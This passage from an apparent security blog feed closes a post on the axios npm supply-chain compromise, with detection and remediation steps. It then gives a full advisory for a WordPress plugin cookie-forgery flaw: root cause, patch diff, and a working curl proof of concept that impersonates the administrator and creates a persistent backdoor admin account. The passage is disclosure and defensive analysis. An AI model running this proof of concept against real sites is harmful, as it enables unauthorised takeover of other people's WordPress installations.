&lt;p&gt;An attacker hijacked the npm credentials of a lead maintainer, changed the account email to an anonymous ProtonMail address, and manually published both versions outside the normal release workflow. Neither version appears in axios&apos;s GitHub tags, and neither went through CI/CD.&lt;/p&gt;
&lt;p&gt;The attack was operationally deliberate. The fake dependency &lt;code&gt;plain-crypto-js@4.2.1&lt;/code&gt; was staged roughly &lt;strong&gt;18 hours before&lt;/strong&gt; the malicious axios versions went live. Both release branches were hit within &lt;strong&gt;39 minutes&lt;/strong&gt; of each other.&lt;/p&gt;
&lt;h2&gt;How the Malware Works&lt;/h2&gt;
&lt;p&gt;The axios packages themselves contain no malicious code. Instead, they pull in &lt;code&gt;plain-crypto-js&lt;/code&gt; as a dependency. That package runs a &lt;code&gt;postinstall&lt;/code&gt; script that downloads and executes platform-specific second-stage payloads from a C2 server at &lt;code&gt;sfrclak.com:8000&lt;/code&gt;, targeting macOS, Windows, and Linux.&lt;/p&gt;
&lt;p&gt;After execution, the payload &lt;strong&gt;self-deletes&lt;/strong&gt; and overwrites its own &lt;code&gt;package.json&lt;/code&gt; with a clean stub, making forensic detection harder.&lt;/p&gt;
&lt;p&gt;Any system that ran &lt;code&gt;npm install&lt;/code&gt; after &lt;code&gt;2026-03-31T00:21:58Z&lt;/code&gt; without a lockfile pinning a prior safe version may be compromised.&lt;/p&gt;
&lt;p&gt;Socket&apos;s automated detection flagged the malicious package within minutes. Vercel blocked outbound access to the C2 hostname, and the malicious versions have since been unpublished from npm.&lt;/p&gt;
&lt;h2&gt;What to Do Now&lt;/h2&gt;
&lt;h3&gt;Check If You&apos;re Affected&lt;/h3&gt;
&lt;p&gt;Search your lockfiles and &lt;code&gt;node_modules&lt;/code&gt; for any trace of the malicious packages:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Check for malicious axios versions
grep -r &quot;axios@1\.14\.1\|axios@0\.30\.4&quot; package-lock.json yarn.lock pnpm-lock.yaml

# Check for the malicious dependency
grep -r &quot;plain-crypto-js&quot; node_modules package-lock.json yarn.lock pnpm-lock.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also check your network logs for any outbound connections to &lt;code&gt;sfrclak.com&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Remediate&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Pin to a safe version&lt;/strong&gt; — use &lt;code&gt;axios@1.14.0&lt;/code&gt; or &lt;code&gt;axios@0.30.3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rotate all secrets&lt;/strong&gt; — any API keys, SSH keys, tokens, or credentials present in affected build environments should be considered compromised and rotated immediately&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Redeploy affected projects&lt;/strong&gt; from a clean environment&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Add &lt;code&gt;--ignore-scripts&lt;/code&gt; to CI npm installs&lt;/strong&gt; going forward:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;npm ci --ignore-scripts
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The Broader Problem&lt;/h2&gt;
&lt;p&gt;Andrej Karpathy noted that he had axios pulled in transitively through a Google Workspace CLI tool he&apos;d been experimenting with. The installed version happened to resolve to an unaffected &lt;code&gt;1.13.5&lt;/code&gt;, but the dependency wasn&apos;t pinned — if he&apos;d run the install a few hours later, it would have resolved to &lt;code&gt;latest&lt;/code&gt; and pulled the malicious version.&lt;/p&gt;
&lt;p&gt;That&apos;s the uncomfortable reality here. One compromised maintainer account, a package that&apos;s installed hundreds of millions of times a week, and the attack surface is enormous. Pinning dependencies and using lockfiles helps individually, but the defaults of package managers like npm and pip don&apos;t protect users who aren&apos;t already thinking carefully about this. A single infection — usually caught fairly quickly by security scanners — can still spread widely before it&apos;s pulled.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://devops-daily.com/posts/axios-supply-chain-attack-what-happened-and-what-to-do&quot;&gt;axios supply chain attack — what happened and what to do (devops-daily.com)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan&quot;&gt;axios compromised on npm — malicious versions drop remote access trojan (stepsecurity.io)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><atom:updated>2026-04-03T00:00:00.000Z</atom:updated><category>security</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-5130: Debugger &amp; Troubleshooter Unauthenticated Account Takeover</title><link>https://hurayraiit.com/blog/cve-2026-5130-debugger-troubleshooter-account-takeover/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-5130-debugger-troubleshooter-account-takeover/</guid><description>CVE-2026-5130 (CVSS 8.8): unauthenticated privilege escalation in Debugger &amp; Troubleshooter WordPress plugin via cookie manipulation. Full site takeover.</description><pubDate>Thu, 02 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-5130&lt;/strong&gt; is a &lt;strong&gt;CVSS 8.8 High Severity&lt;/strong&gt; unauthenticated privilege escalation vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/debugger-troubleshooter/&quot;&gt;Debugger &amp;amp; Troubleshooter&lt;/a&gt; WordPress plugin. By sending a single HTTP request with a forged cookie, an attacker with no account and no prior knowledge of the site can impersonate any user — including the primary administrator — and take full control of the WordPress installation.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Debugger &amp;amp; Troubleshooter&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;debugger-troubleshooter&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5130&quot;&gt;CVE-2026-5130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.8 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CWE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-565 — Reliance on Cookies without Validation and Integrity Checking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Privilege Escalation via Cookie Manipulation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/debugger-troubleshooter.1.3.2.zip&quot;&gt;&amp;lt;= 1.3.2&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/debugger-troubleshooter.1.4.0.zip&quot;&gt;1.4.0&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;March 30, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.linkedin.com/in/nabil-irawan/&quot;&gt;Nabil Irawan — Heroes Cyber Security&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/debugger-troubleshooter/debugger-troubleshooter-132-unauthenticated-privilege-escalation-to-administrator-via-cookie-manipulation&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;Debugger &amp;amp; Troubleshooter&lt;/strong&gt; plugin for WordPress includes a &quot;User Role Simulator&quot; feature that lets administrators temporarily impersonate other users for debugging purposes. In versions up to and including &lt;strong&gt;1.3.2&lt;/strong&gt;, the plugin trusted a client-controlled cookie (&lt;code&gt;wp_debug_troubleshoot_simulate_user&lt;/code&gt;) as a raw user ID, with no cryptographic validation, no server-side mapping, and no check that the cookie was ever issued by an administrator.&lt;/p&gt;
&lt;p&gt;Because the cookie value is read on every request via the &lt;code&gt;plugins_loaded&lt;/code&gt; hook (priority 0) and then injected into WordPress&apos;s authentication pipeline through the &lt;code&gt;determine_current_user&lt;/code&gt; filter, an entirely unauthenticated attacker can impersonate any user on the site — including the primary administrator (typically user ID &lt;code&gt;1&lt;/code&gt;) — by sending a single HTTP request with a forged cookie.&lt;/p&gt;
&lt;p&gt;This grants the attacker full administrator privileges, enabling complete site takeover: creation of new administrator accounts, plugin/theme installation, content modification, and arbitrary code execution via the standard plugin/theme upload paths.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Affected Component&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;debug-troubleshooter.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; &lt;code&gt;Debug_Troubleshooter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Constant:&lt;/strong&gt; &lt;code&gt;SIMULATE_USER_COOKIE = &apos;wp_debug_troubleshoot_simulate_user&apos;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The exploit chain is short — three pieces of code working together is enough.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Hook registration (constructor, line 77):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Core troubleshooting logic (very early hook).
add_action(&apos;plugins_loaded&apos;, array($this, &apos;init_troubleshooting_mode&apos;), 0);
add_action(&apos;plugins_loaded&apos;, array($this, &apos;init_live_debug_mode&apos;), 0);
add_action(&apos;plugins_loaded&apos;, array($this, &apos;init_user_simulation&apos;), 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;init_user_simulation()&lt;/code&gt; is wired to &lt;code&gt;plugins_loaded&lt;/code&gt; at priority &lt;code&gt;0&lt;/code&gt;, which means it runs on &lt;strong&gt;every single HTTP request that loads WordPress&lt;/strong&gt; — REST API calls, admin pages, front-end pages, AJAX requests, the lot. Crucially, this includes requests from completely unauthenticated visitors.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Cookie ingestion (&lt;code&gt;init_user_simulation&lt;/code&gt;, lines 797–806):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function init_user_simulation()
{
    if (isset($_COOKIE[self::SIMULATE_USER_COOKIE])) {
        $this-&amp;gt;simulated_user_id = (int) $_COOKIE[self::SIMULATE_USER_COOKIE];

        // Hook into determine_current_user to override the user ID.
        // Priority 20 ensures we run after most standard authentication checks.
        add_filter(&apos;determine_current_user&apos;, array($this, &apos;simulate_user_filter&apos;), 20);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The cookie value is &lt;strong&gt;directly cast to an integer and stored&lt;/strong&gt;. There is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No nonce check&lt;/strong&gt; — there is no nonce, anywhere, for this code path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No capability check&lt;/strong&gt; — &lt;code&gt;current_user_can()&lt;/code&gt; is never called.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No HMAC, signature, or token validation&lt;/strong&gt; — the cookie value is the user ID, in plain text.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No server-side mapping lookup&lt;/strong&gt; — the cookie is not cross-checked against any allow-list of &quot;this admin previously authorized impersonation&quot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No origin or referer check.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No rate limiting.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If the cookie is present, the next step is unconditional.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Authentication override (&lt;code&gt;simulate_user_filter&lt;/code&gt;, lines 814–820):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function simulate_user_filter($user_id)
{
    if ($this-&amp;gt;simulated_user_id) {
        return $this-&amp;gt;simulated_user_id;
    }
    return $user_id;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;determine_current_user&lt;/code&gt; is the canonical WordPress filter that decides who the current user is. Returning a user ID from this filter is functionally equivalent to a successful login: every subsequent call to &lt;code&gt;wp_get_current_user()&lt;/code&gt;, &lt;code&gt;is_user_logged_in()&lt;/code&gt;, &lt;code&gt;current_user_can()&lt;/code&gt;, etc., will see the attacker as the impersonated user.&lt;/p&gt;
&lt;p&gt;Because this filter runs at priority &lt;code&gt;20&lt;/code&gt; — &lt;em&gt;after&lt;/em&gt; the standard cookie-auth resolver — the attacker&apos;s value &lt;strong&gt;overrides&lt;/strong&gt; the legitimate authentication outcome. An anonymous request with &lt;code&gt;Cookie: wp_debug_troubleshoot_simulate_user=1&lt;/code&gt; is now WordPress user ID 1 (almost always the site owner / primary administrator).&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The plugin treats a &lt;strong&gt;client-controlled, integrity-free cookie&lt;/strong&gt; as an authoritative source of identity. The cookie value is the secret &lt;em&gt;and&lt;/em&gt; the claim — there is no separation between &quot;the attacker is asserting this user ID&quot; and &quot;the system has verified this assertion&quot;. Anything the client sends is accepted.&lt;/p&gt;
&lt;p&gt;This is a textbook example of &lt;a href=&quot;https://cwe.mitre.org/data/definitions/565.html&quot;&gt;CWE-565: Reliance on Cookies without Validation and Integrity Checking&lt;/a&gt;. The mistake is conceptual: the developer treated the cookie as if it were a server-issued capability (because it was set via &lt;code&gt;setcookie()&lt;/code&gt; from an admin-only AJAX handler) rather than as untrusted user input (which is what every cookie actually is on the wire).&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;The plugin&apos;s &quot;Enter Simulation&quot; AJAX handler (&lt;code&gt;ajax_toggle_simulate_user&lt;/code&gt;, line 918) &lt;strong&gt;does&lt;/strong&gt; enforce both a nonce and &lt;code&gt;current_user_can(&apos;manage_options&apos;)&lt;/code&gt; before issuing the cookie:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ($is_post) {
    check_ajax_referer(&apos;debug_troubleshoot_nonce&apos;, &apos;nonce&apos;);
}

if (!current_user_can(&apos;manage_options&apos;) &amp;amp;&amp;amp; !$this-&amp;gt;is_simulating_user()) {
    wp_send_json_error(array(&apos;message&apos; =&amp;gt; __(&apos;Permission denied.&apos;, &apos;debugger-troubleshooter&apos;)));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These checks gate the &lt;em&gt;issuance&lt;/em&gt; of the cookie — but they are completely irrelevant to an attacker, because the cookie is just a number. The attacker doesn&apos;t need the AJAX endpoint to issue them a cookie; they can write the cookie themselves with &lt;code&gt;curl -b&lt;/code&gt;. The integrity check that should have run on the &lt;em&gt;consumption&lt;/em&gt; side (&lt;code&gt;init_user_simulation&lt;/code&gt;) was never written.&lt;/p&gt;
&lt;p&gt;In short: &lt;strong&gt;the legitimate code path was protected; the trusting code path was the entire vulnerability.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;A single HTTP request with a forged cookie grants the attacker the privileges of any chosen user ID. Practically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Setting &lt;code&gt;=1&lt;/code&gt;&lt;/strong&gt; impersonates the first user, which on the overwhelming majority of WordPress installs is the site owner / primary administrator.&lt;/li&gt;
&lt;li&gt;Once authenticated as administrator, the attacker can:
&lt;ul&gt;
&lt;li&gt;Create additional administrator accounts (persistent backdoor)&lt;/li&gt;
&lt;li&gt;Install and activate arbitrary plugins or themes (RCE via plugin upload)&lt;/li&gt;
&lt;li&gt;Edit theme/plugin files via the editor (direct RCE)&lt;/li&gt;
&lt;li&gt;Read or modify any database content (posts, users, options, secrets)&lt;/li&gt;
&lt;li&gt;Export site data, exfiltrate user credentials/PII&lt;/li&gt;
&lt;li&gt;Hijack the site for SEO spam, malware distribution, or phishing&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The attack requires &lt;strong&gt;no authentication, no user interaction, no prior knowledge of the site&apos;s configuration&lt;/strong&gt;, and can be performed in a single request. CVSS 8.8 (High) is on the conservative side; the practical impact is total site compromise.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only. Use only against systems you own or have explicit written permission to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A WordPress installation with the &lt;strong&gt;Debugger &amp;amp; Troubleshooter&lt;/strong&gt; plugin installed and &lt;strong&gt;activated&lt;/strong&gt;, version &lt;code&gt;&amp;lt;= 1.3.2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Network access to the target site&lt;/li&gt;
&lt;li&gt;That&apos;s it — no account, no nonce, no prior knowledge&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Confirm the takeover by accessing the WordPress dashboard.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;From a clean, unauthenticated client (no existing WordPress session), send a request to &lt;code&gt;/wp-admin/&lt;/code&gt; with the forged cookie:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -i \
  -b &quot;wp_debug_troubleshoot_simulate_user=1&quot; \
  &quot;https://target.tld/wp-admin/index.php&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Without the cookie, this request would return a &lt;code&gt;302&lt;/code&gt; redirect to &lt;code&gt;wp-login.php&lt;/code&gt;. &lt;strong&gt;With&lt;/strong&gt; the cookie, it returns &lt;code&gt;HTTP/1.1 200 OK&lt;/code&gt; and the full HTML of the WordPress administrator dashboard. The response will contain markers such as &lt;code&gt;&amp;lt;body class=&quot;wp-admin ...&quot;&amp;gt;&lt;/code&gt;, the admin bar, and the welcome panel — proof that the plugin has authenticated the request as user ID 1.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Harvest a user-creation nonce from the admin UI.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now that the attacker is &quot;logged in&quot;, they can scrape any admin page to obtain valid nonces. Fetch the &quot;Add New User&quot; page and extract the &lt;code&gt;_wpnonce_create-user&lt;/code&gt; token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s \
  -b &quot;wp_debug_troubleshoot_simulate_user=1&quot; \
  &quot;https://target.tld/wp-admin/user-new.php&quot; \
  -o user-new.html

NONCE=$(grep -oE &apos;name=&quot;_wpnonce_create-user&quot; value=&quot;[a-f0-9]+&quot;&apos; user-new.html \
        | head -n1 \
        | sed -E &apos;s/.*value=&quot;([a-f0-9]+)&quot;.*/\1/&apos;)

echo &quot;Captured nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — Create a new administrator account.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;POST to &lt;code&gt;user-new.php&lt;/code&gt; with the harvested nonce and a new admin&apos;s credentials:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -i \
  -b &quot;wp_debug_troubleshoot_simulate_user=1&quot; \
  -d &quot;action=createuser&quot; \
  -d &quot;_wpnonce_create-user=$NONCE&quot; \
  -d &quot;_wp_http_referer=%2Fwp-admin%2Fuser-new.php&quot; \
  -d &quot;user_login=pwned&quot; \
  -d &quot;email=pwned@example.tld&quot; \
  -d &quot;first_name=&quot; \
  -d &quot;last_name=&quot; \
  -d &quot;url=&quot; \
  -d &quot;pass1=Sup3rStr0ng!Pass&quot; \
  -d &quot;pass2=Sup3rStr0ng!Pass&quot; \
  -d &quot;pw_weak=on&quot; \
  -d &quot;send_user_notification=0&quot; \
  -d &quot;role=administrator&quot; \
  -d &quot;createuser=Add+New+User+&quot; \
  &quot;https://target.tld/wp-admin/user-new.php&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;After Step 1, the attacker has full administrator-level access for the duration of any request that includes the cookie — no session, no credentials, no token exchange.&lt;/p&gt;
&lt;p&gt;After Step 3, a &lt;strong&gt;persistent backdoor administrator account&lt;/strong&gt; named &lt;code&gt;pwned&lt;/code&gt; exists in the database with the password &lt;code&gt;Sup3rStr0ng!Pass&lt;/code&gt;. This account survives even if the plugin is later removed or patched, giving the attacker durable access independent of the original vulnerability.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Confirm the takeover via any of:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Visual:&lt;/strong&gt; open &lt;code&gt;https://target.tld/wp-admin/users.php?role=administrator&lt;/code&gt; in a browser with the cookie set; the new &lt;code&gt;pwned&lt;/code&gt; user appears in the administrator list.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Database:&lt;/strong&gt; &lt;code&gt;wp user list --role=administrator&lt;/code&gt; (via WP-CLI) shows the rogue user.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Login:&lt;/strong&gt; navigate to &lt;code&gt;wp-login.php&lt;/code&gt; and authenticate as &lt;code&gt;pwned&lt;/code&gt; / &lt;code&gt;Sup3rStr0ng!Pass&lt;/code&gt; — full dashboard access without any forged cookie.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The patch (version &lt;code&gt;1.4.0&lt;/code&gt;) restructures the simulation feature around a server-side token store. Two changes are load-bearing:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Cookie value is now an unguessable token, not a user ID.&lt;/strong&gt; When an admin starts a simulation, the plugin generates a 64-character random token via &lt;code&gt;wp_generate_password(64, false)&lt;/code&gt;, stores &lt;code&gt;token =&amp;gt; user_id&lt;/code&gt; in the &lt;code&gt;dbgtbl_sim_users&lt;/code&gt; WordPress option, and sets the cookie to the token.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;init_user_simulation()&lt;/code&gt; now requires the cookie to map to an existing entry in the option.&lt;/strong&gt; If the token isn&apos;t in the database, the filter is never registered and the request proceeds as anonymous.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A handful of secondary hardening changes were also made:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mandatory nonce check&lt;/strong&gt; in &lt;code&gt;ajax_toggle_simulate_user&lt;/code&gt; — the previous version exempted GET requests (&quot;the Exit action might not have a nonce&quot;) allowing CSRF on the disable path. The new version requires &lt;code&gt;check_ajax_referer&lt;/code&gt; unconditionally.&lt;/li&gt;
&lt;li&gt;The exit-simulation script now embeds a fresh nonce and posts it back, removing the GET-bypass excuse.&lt;/li&gt;
&lt;li&gt;Same token-based pattern applied to the unrelated &lt;code&gt;TROUBLESHOOT_COOKIE&lt;/code&gt; (which previously stored a JSON blob in the cookie itself — also a tampering risk, though distinct from this CVE).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The fix is conceptually correct: the cookie is now an &lt;strong&gt;opaque reference&lt;/strong&gt; to a server-side state record, not the state itself. An attacker who guesses or brute-forces a cookie value would need to land on a 64-character (≈378 bits of entropy) random string that an administrator has actively created — computationally infeasible. The cookie can no longer be forged by simply choosing an integer.&lt;/p&gt;
&lt;p&gt;The token is also tied to a specific simulation session: revoking simulation deletes the token from the option, immediately invalidating the cookie. There is no longer any way for an attacker to assert identity without the database having previously been told to honor that token.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Residual considerations:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;dbgtbl_sim_users&lt;/code&gt; option is unbounded; if old simulation sessions are not cleaned up the option could grow over time, but this is a hygiene issue rather than a security one.&lt;/li&gt;
&lt;li&gt;Tokens are stored unhashed in the option. If an attacker has read access to &lt;code&gt;wp_options&lt;/code&gt; (e.g., via SQL injection in another plugin) they could extract a valid token and impersonate users. Hashing tokens at rest would be a defense-in-depth improvement, but this is a much narrower threat model than the original CVE.&lt;/li&gt;
&lt;li&gt;The fix relies on &lt;code&gt;wp_generate_password(64, false)&lt;/code&gt; for entropy, which uses a CSPRNG on modern PHP — appropriate for this use case.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The core vulnerability is fully addressed.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;p&gt;The vulnerable consumption path (lines 797–806) was rewritten:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; public function init_user_simulation()
 {
     if (isset($_COOKIE[self::SIMULATE_USER_COOKIE])) {
-        $this-&amp;gt;simulated_user_id = (int) $_COOKIE[self::SIMULATE_USER_COOKIE];
-
-        // Hook into determine_current_user to override the user ID.
-        // Priority 20 ensures we run after most standard authentication checks.
-        add_filter(&apos;determine_current_user&apos;, array($this, &apos;simulate_user_filter&apos;), 20);
+        $token = sanitize_text_field(wp_unslash($_COOKIE[self::SIMULATE_USER_COOKIE]));
+        $sim_users = get_option(&apos;dbgtbl_sim_users&apos;, array());
+
+        if (isset($sim_users[$token])) {
+            $this-&amp;gt;simulated_user_id = (int) $sim_users[$token];
+
+            // Hook into determine_current_user to override the user ID.
+            // Priority 20 ensures we run after most standard authentication checks.
+            add_filter(&apos;determine_current_user&apos;, array($this, &apos;simulate_user_filter&apos;), 20);
+        }
     }
 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The cookie issuance path now generates a token and stores the mapping server-side:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;     if ($enable &amp;amp;&amp;amp; $user_id) {
+        $token = wp_generate_password(64, false);
+        $sim_users = get_option(&apos;dbgtbl_sim_users&apos;, array());
+        $sim_users[$token] = $user_id;
+        update_option(&apos;dbgtbl_sim_users&apos;, $sim_users);
+
         // Set cookie
-        setcookie(self::SIMULATE_USER_COOKIE, $user_id, array(
+        setcookie(self::SIMULATE_USER_COOKIE, $token, array(
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the AJAX handler&apos;s nonce check is no longer conditional on the request method:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-    $is_post = isset($_SERVER[&apos;REQUEST_METHOD&apos;]) &amp;amp;&amp;amp; &apos;POST&apos; === $_SERVER[&apos;REQUEST_METHOD&apos;];
-    if ($is_post) {
-        check_ajax_referer(&apos;debug_troubleshoot_nonce&apos;, &apos;nonce&apos;);
-    }
+    check_ajax_referer(&apos;debug_troubleshoot_nonce&apos;, &apos;nonce&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;(undisclosed)&lt;/td&gt;
&lt;td&gt;Vulnerability discovered by Nabil Irawan (Heroes Cyber Security) and reported to Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 30, 2026&lt;/td&gt;
